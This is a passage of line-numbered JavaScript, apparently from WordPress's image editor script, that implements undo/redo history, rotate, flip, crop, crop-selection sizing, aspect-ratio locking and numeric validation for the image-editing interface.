1110 // then switch to the previous view, whatever that might have been.
1111 if ( this._view ){
1112 this._view.back();
1113 }
1114
1115 // In case we are not accessing the image editor in the context of a View,
1116 // close the editor the old-school way.
1117 else {
1118 $('#image-editor-' + postid).fadeOut('fast', function() {
1119 $( '#media-head-' + postid ).fadeIn( 'fast', function() {
1120 // Move focus back to the Edit Image button. Runs also when saving.
1121 $( '#imgedit-open-btn-' + postid ).trigger( 'focus' );
1122 });
1123 $(this).empty();
1124 });
1125 }
1126
1127
1128 },
1129
1130 /**
1131 * Checks if the image edit history is saved.
1132 *
1133 * @since 2.9.0
1134 *
1135 * @memberof imageEdit
1136 *
1137 * @param {number} postid The post ID.
1138 *
1139 * @return {boolean} Returns true if the history is not saved.
1140 */
1141 notsaved : function(postid) {
1142 var h = $('#imgedit-history-' + postid).val(),
1143 history = ( h !== '' ) ? JSON.parse(h) : [],
1144 pop = this.intval( $('#imgedit-undone-' + postid).val() );
1145
1146 if ( pop < history.length ) {
1147 if ( confirm( $('#imgedit-leaving-' + postid).text() ) ) {
1148 return false;
1149 }
1150 return true;
1151 }
1152 return false;
1153 },
1154
1155 /**
1156 * Adds an image edit action to the history.
1157 *
1158 * @since 2.9.0
1159 *
1160 * @memberof imageEdit
1161 *
1162 * @param {Object} op The original position.
1163 * @param {number} postid The post ID.
1164 * @param {string} nonce The nonce.
1165 *
1166 * @return {void}
1167 */
1168 addStep : function(op, postid, nonce) {
1169 var t = this, elem = $('#imgedit-history-' + postid),
1170 history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [],
1171 undone = $( '#imgedit-undone-' + postid ),
1172 pop = t.intval( undone.val() );
1173
1174 while ( pop > 0 ) {
1175 history.pop();
1176 pop--;
1177 }
1178 undone.val(0); // Reset.
1179
1180 history.push(op);
1181 elem.val( JSON.stringify(history) );
1182
1183 t.refreshEditor(postid, nonce, function() {
1184 t.setDisabled($('#image-undo-' + postid), true);
1185 t.setDisabled($('#image-redo-' + postid), false);
1186 });
1187 },
1188
1189 /**
1190 * Rotates the image.
1191 *
1192 * @since 2.9.0
1193 *
1194 * @memberof imageEdit
1195 *
1196 * @param {string} angle The angle the image is rotated with.
1197 * @param {number} postid The post ID.
1198 * @param {string} nonce The nonce.
1199 * @param {Object} t The target element.
1200 *
1201 * @return {boolean}
1202 */
1203 rotate : function(angle, postid, nonce, t) {
1204 if ( $(t).hasClass('disabled') ) {
1205 return false;
1206 }
1207 this.closePopup(t);
1208 this.addStep({ 'r': { 'r': angle, 'fw': this.hold.h, 'fh': this.hold.w }}, postid, nonce);
1209
1210 // Clear the selection fields after rotating.
1211 $( '#imgedit-sel-width-' + postid ).val( '' );
1212 $( '#imgedit-sel-height-' + postid ).val( '' );
1213 this.currentCropSelection = null;
1214 },
1215
1216 /**
1217 * Flips the image.
1218 *
1219 * @since 2.9.0
1220 *
1221 * @memberof imageEdit
1222 *
1223 * @param {number} axis The axle the image is flipped on.
1224 * @param {number} postid The post ID.
1225 * @param {string} nonce The nonce.
1226 * @param {Object} t The target element.
1227 *
1228 * @return {boolean}
1229 */
1230 flip : function (axis, postid, nonce, t) {
1231 if ( $(t).hasClass('disabled') ) {
1232 return false;
1233 }
1234 this.closePopup(t);
1235 this.addStep({ 'f': { 'f': axis, 'fw': this.hold.w, 'fh': this.hold.h }}, postid, nonce);
1236
1237 // Clear the selection fields after flipping.
1238 $( '#imgedit-sel-width-' + postid ).val( '' );
1239 $( '#imgedit-sel-height-' + postid ).val( '' );
1240 this.currentCropSelection = null;
1241 },
1242
1243 /**
1244 * Crops the image.
1245 *
1246 * @since 2.9.0
1247 *
1248 * @memberof imageEdit
1249 *
1250 * @param {number} postid The post ID.
1251 * @param {string} nonce The nonce.
1252 * @param {Object} t The target object.
1253 *
1254 * @return {void|boolean} Returns false if the crop button is disabled.
1255 */
1256 crop : function (postid, nonce, t) {
1257 var sel = $('#imgedit-selection-' + postid).val(),
1258 w = this.intval( $('#imgedit-sel-width-' + postid).val() ),
1259 h = this.intval( $('#imgedit-sel-height-' + postid).val() );
1260
1261 if ( $(t).hasClass('disabled') || sel === '' ) {
1262 return false;
1263 }
1264
1265 sel = JSON.parse(sel);
1266 if ( sel.w > 0 && sel.h > 0 && w > 0 && h > 0 ) {
1267 sel.fw = w;
1268 sel.fh = h;
1269 this.addStep({ 'c': sel }, postid, nonce);
1270 }
1271
1272 // Clear the selection fields after cropping.
1273 $( '#imgedit-sel-width-' + postid ).val( '' );
1274 $( '#imgedit-sel-height-' + postid ).val( '' );
1275 $( '#imgedit-start-x-' + postid ).val( '0' );
1276 $( '#imgedit-start-y-' + postid ).val( '0' );
1277 this.currentCropSelection = null;
1278 },
1279
1280 /**
1281 * Undoes an image edit action.
1282 *
1283 * @since 2.9.0
1284 *
1285 * @memberof imageEdit
1286 *
1287 * @param {number} postid The post ID.
1288 * @param {string} nonce The nonce.
1289 *
1290 * @return {void|false} Returns false if the undo button is disabled.
1291 */
1292 undo : function (postid, nonce) {
1293 var t = this, button = $('#image-undo-' + postid), elem = $('#imgedit-undone-' + postid),
1294 pop = t.intval( elem.val() ) + 1;
1295
1296 if ( button.hasClass('disabled') ) {
1297 return;
1298 }
1299
1300 elem.val(pop);
1301 t.refreshEditor(postid, nonce, function() {
1302 var elem = $('#imgedit-history-' + postid),
1303 history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [];
1304
1305 t.setDisabled($('#image-redo-' + postid), true);
1306 t.setDisabled(button, pop < history.length);
1307 // When undo gets disabled, move focus to the redo button to avoid a focus loss.
1308 if ( history.length === pop ) {
1309 $( '#image-redo-' + postid ).trigger( 'focus' );
1310 }
1311 });
1312 },
1313
1314 /**
1315 * Reverts a undo action.
1316 *
1317 * @since 2.9.0
1318 *
1319 * @memberof imageEdit
1320 *
1321 * @param {number} postid The post ID.
1322 * @param {string} nonce The nonce.
1323 *
1324 * @return {void}
1325 */
1326 redo : function(postid, nonce) {
1327 var t = this, button = $('#image-redo-' + postid), elem = $('#imgedit-undone-' + postid),
1328 pop = t.intval( elem.val() ) - 1;
1329
1330 if ( button.hasClass('disabled') ) {
1331 return;
1332 }
1333
1334 elem.val(pop);
1335 t.refreshEditor(postid, nonce, function() {
1336 t.setDisabled($('#image-undo-' + postid), true);
1337 t.setDisabled(button, pop > 0);
1338 // When redo gets disabled, move focus to the undo button to avoid a focus loss.
1339 if ( 0 === pop ) {
1340 $( '#image-undo-' + postid ).trigger( 'focus' );
1341 }
1342 });
1343 },
1344
1345 /**
1346 * Sets the selection for the height and width in pixels.
1347 *
1348 * @since 2.9.0
1349 *
1350 * @memberof imageEdit
1351 *
1352 * @param {number} postid The post ID.
1353 * @param {jQuery} el The element containing the values.
1354 *
1355 * @return {void|boolean} Returns false when the x or y value is lower than 1,
1356 * void when the value is not numeric or when the operation
1357 * is successful.
1358 */
1359 setNumSelection : function( postid, el ) {
1360 var sel, elX = $('#imgedit-sel-width-' + postid), elY = $('#imgedit-sel-height-' + postid),
1361 elX1 = $('#imgedit-start-x-' + postid), elY1 = $('#imgedit-start-y-' + postid),
1362 xS = this.intval( elX1.val() ), yS = this.intval( elY1.val() ),
1363 x = this.intval( elX.val() ), y = this.intval( elY.val() ),
1364 img = $('#image-preview-' + postid), imgh = img.height(), imgw = img.width(),
1365 sizer = this.hold.sizer, x1, y1, x2, y2, ias = this.iasapi;
1366
1367 this.currentCropSelection = null;
1368
1369 if ( false === this.validateNumeric( el ) ) {
1370 return;
1371 }
1372
1373 if ( x < 1 ) {
1374 elX.val('');
1375 return false;
1376 }
1377
1378 if ( y < 1 ) {
1379 elY.val('');
1380 return false;
1381 }
1382
1383 if ( ( ( x && y ) || ( xS && yS ) ) && ( sel = ias.getSelection() ) ) {
1384 x2 = sel.x1 + Math.round( x * sizer );
1385 y2 = sel.y1 + Math.round( y * sizer );
1386 x1 = ( xS === sel.x1 ) ? sel.x1 : Math.round( xS * sizer );
1387 y1 = ( yS === sel.y1 ) ? sel.y1 : Math.round( yS * sizer );
1388
1389 if ( x2 > imgw ) {
1390 x1 = 0;
1391 x2 = imgw;
1392 elX.val( Math.min( this.hold.w, Math.round( x2 / sizer ) ) );
1393 }
1394
1395 if ( y2 > imgh ) {
1396 y1 = 0;
1397 y2 = imgh;
1398 elY.val( Math.min( this.hold.h, Math.round( y2 / sizer ) ) );
1399 }
1400
1401 ias.setSelection( x1, y1, x2, y2 );
1402 ias.update();
1403 this.setCropSelection(postid, ias.getSelection());
1404 this.currentCropSelection = ias.getSelection();
1405 }
1406 },
1407
1408 /**
1409 * Rounds a number to a whole.
1410 *
1411 * @since 2.9.0
1412 *
1413 * @memberof imageEdit
1414 *
1415 * @param {number} num The number.
1416 *
1417 * @return {number} The number rounded to a whole number.
1418 */
1419 round : function(num) {
1420 var s;
1421 num = Math.round(num);
1422
1423 if ( this.hold.sizer > 0.6 ) {
1424 return num;
1425 }
1426
1427 s = num.toString().slice(-1);
1428
1429 if ( '1' === s ) {
1430 return num - 1;
1431 } else if ( '9' === s ) {
1432 return num + 1;
1433 }
1434
1435 return num;
1436 },
1437
1438 /**
1439 * Sets a locked aspect ratio for the selection.
1440 *
1441 * @since 2.9.0
1442 *
1443 * @memberof imageEdit
1444 *
1445 * @param {number} postid The post ID.
1446 * @param {number} n The ratio to set.
1447 * @param {jQuery} el The element containing the values.
1448 *
1449 * @return {void}
1450 */
1451 setRatioSelection : function(postid, n, el) {
1452 var sel, r, x = this.intval( $('#imgedit-crop-width-' + postid).val() ),
1453 y = this.intval( $('#imgedit-crop-height-' + postid).val() ),
1454 h = $('#image-preview-' + postid).height();
1455
1456 if ( false === this.validateNumeric( el ) ) {
1457 this.iasapi.setOptions({
1458 aspectRatio: null
1459 });
1460
1461 return;
1462 }
1463
1464 if ( x && y ) {
1465 this.iasapi.setOptions({
1466 aspectRatio: x + ':' + y
1467 });
1468
1469 if ( sel = this.iasapi.getSelection(true) ) {
1470 r = Math.ceil( sel.y1 + ( ( sel.x2 - sel.x1 ) / ( x / y ) ) );
1471
1472 if ( r > h ) {
1473 r = h;
1474 var errorMessage = __( 'Selected crop ratio exceeds the boundaries of the image. Try a different ratio.' );
1475
1476 $( '#imgedit-crop-' + postid )
1477 .prepend( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' );
1478
1479 wp.a11y.speak( errorMessage, 'assertive' );
1480 if ( n ) {
1481 $('#imgedit-crop-height-' + postid).val( '' );
1482 } else {
1483 $('#imgedit-crop-width-' + postid).val( '');
1484 }
1485 } else {
1486 var error = $( '#imgedit-crop-' + postid ).find( '.notice-error' );
1487 if ( 'undefined' !== typeof( error ) ) {
1488 error.remove();
1489 }
1490 }
1491
1492 this.iasapi.setSelection( sel.x1, sel.y1, sel.x2, r );
1493 this.iasapi.update();
1494 }
1495 }
1496 },
1497
1498 /**
1499 * Validates if a value in a jQuery.HTMLElement is numeric.
1500 *
1501 * @since 4.6.0
1502 *
1503 * @memberof imageEdit
1504 *
1505 * @param {jQuery} el The html element.
1506 *
1507 * @return {void|boolean} Returns false if the value is not numeric,
1508 * void when it is.
1509 */
1510 validateNumeric: function( el ) {
1511 if ( false === this.intval( $( el ).val() ) ) {
1512 $( el ).val( '' );
1513 return false;
1514 }
1515 }
1516};
1517})(jQuery);
1518